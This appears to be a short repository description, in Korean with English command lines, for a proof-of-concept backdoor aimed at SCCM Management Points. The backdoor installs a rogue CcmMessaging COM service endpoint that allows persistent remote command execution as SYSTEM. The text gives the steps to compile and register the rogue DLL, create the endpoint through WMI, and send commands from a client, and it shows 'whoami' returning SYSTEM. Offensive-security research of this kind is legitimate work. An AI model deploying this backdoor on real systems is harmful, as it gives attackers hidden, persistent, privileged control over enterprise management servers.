synacktiv/ccmmessagingbackdoorSYSTEM 권한으로 지속적인 원격 명령 실행을 위해 악성 COM 서비스를 사용하는 SCCM Management Point용 PoC 백도어
Management Point에 대한 액세스를 유지하기 위해 가짜 CcmMessaging 서비스를 빌드하고 설치하는 PoC 도구
# Compile
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /t:library /out:c:\rogue.dll RogueCcmEndpoint.cs
# Register CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /codebase c:\rogue.dll
PS C:\> ./wmi_create_rogue_service_endpoint.ps1
$ python3 ccmmessaging_backdoor_client.py -t https://mp.corp.local -s MP_Backdoor 'whoami'
[...]
<BackdoorResponse>nt authority\system
</BackdoorResponse>
# Unregister CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /unregister c:\rogue.dll
PS C:\> ./wmi_remove_rogue_service_endpoint.ps1